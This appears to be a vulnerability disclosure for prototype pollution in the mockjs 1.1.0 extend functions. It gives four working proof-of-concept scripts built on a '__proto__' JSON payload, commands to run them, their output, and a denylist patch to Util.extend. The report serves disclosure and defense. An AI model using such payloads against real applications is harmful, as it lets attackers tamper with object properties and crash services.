Version 1.1.0 of mockjs is vulnerable to prototype pollution; Util.extend do not check if the attribute resolves to the object prototype.
By adding or modifying attributes of an object prototype, it is possible to create attributes that exist on every object, or replace critical attributes with malicious ones. This can be problematic if the software depends on existence or non-existence of certain attributes, or uses pre-defined attributes of object prototype (such as hasOwnProperty, toString or valueOf).
User controlled inputs inside the extend() method of the Mock.Handler, Mock.Random, Mock.RE.Handler or Mock.Util, will allow an attacker to exploit this vulnerability.
Create the following PoC files:
// poc_Handler.js
var Mock = require('mockjs')
let BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
console.log(`[+] Before prototype pollution : ${{}.polluted}`);
Mock.Handler.extend({}, BAD_JSON);
Mock.Handler.extend({}, {}, BAD_JSON);
Mock.Handler.extend({}, {}, {}, BAD_JSON);
console.log(`[+] After prototype pollution : ${{}.polluted}`);
// poc_Random.js
var Mock = require('mockjs')
let BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
console.log(`[+] Before prototype pollution : ${{}.polluted}`);
Mock.Random.extend({}, BAD_JSON);
Mock.Random.extend({}, {}, BAD_JSON);
Mock.Random.extend({}, {}, {}, BAD_JSON);
console.log(`[+] After prototype pollution : ${{}.polluted}`);
// poc_RE.js
var Mock = require('mockjs')
let BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
console.log(`[+] Before prototype pollution : ${{}.polluted}`);
Mock.RE.Handler.extend({}, BAD_JSON);
Mock.RE.Handler.extend({}, {}, BAD_JSON);
Mock.RE.Handler.extend({}, {}, {}, BAD_JSON);
console.log(`[+] After prototype pollution : ${{}.polluted}`);
// poc_Util.js
var Mock = require('mockjs')
let BAD_JSON = JSON.parse('{"__proto__":{"polluted":true}}');
console.log(`[+] Before prototype pollution : ${{}.polluted}`);
Mock.Util.extend({}, BAD_JSON);
Mock.Util.extend({}, {}, BAD_JSON);
Mock.Util.extend({}, {}, {}, BAD_JSON);
console.log(`[+] After prototype pollution : ${{}.polluted}`);
Execute the following commands in terminal:
npm i mockjs # Install vulnerable package
node poc_Handler.js # Run the PoC for Mock.Handler.extend
node poc_Random.js # Run the PoC for Mock.Random.extend
node poc_RE.js # Run the PoC for Mock.RE.Handler.extend
node poc_Util.js # Run the PoC for Mock.Util.extend
Check the Output for each PoC files:
[+] Before prototype pollution : undefined
[+] After prototype pollution : true
Scope | Impact |
---|---|
Integrity | An attacker can inject attributes that are used in other components. |
Availability | An attacker can override existing attributes with ones that have incompatible type, which may lead to a crash. |
By using a denylist of dangerous attributes, this weakness can be eliminated.
Add the following line in the Util.extend function:
js if (["__proto__", "constructor", "prototype"].includes(name)) continue
// src/mock/handler.js
Util.extend = function extend() {
var target = arguments[0] || {},
i = 1,
length = arguments.length,
options, name, src, copy, clone
if (length === 1) {
target = this
i = 0
}
for (; i < length; i++) {
options = arguments[i]
if (!options) continue
for (name in options) {
if (["__proto__", "constructor", "prototype"].includes(name)) continue
src = target[name]
copy = options[name]
if (target === copy) continue
if (copy === undefined) continue
if (Util.isArray(copy) || Util.isObject(copy)) {
if (Util.isArray(copy)) clone = src && Util.isArray(src) ? src : []
if (Util.isObject(copy)) clone = src && Util.isObject(src) ? src : {}
target[name] = Util.extend(clone, copy)
} else {
target[name] = copy
}
}
}
return target
}
https://github.com/nuysoft/Mock/blob/00ce04b92eb464e664a4438430903f2de96efb47/dist/mock.js#L721-L755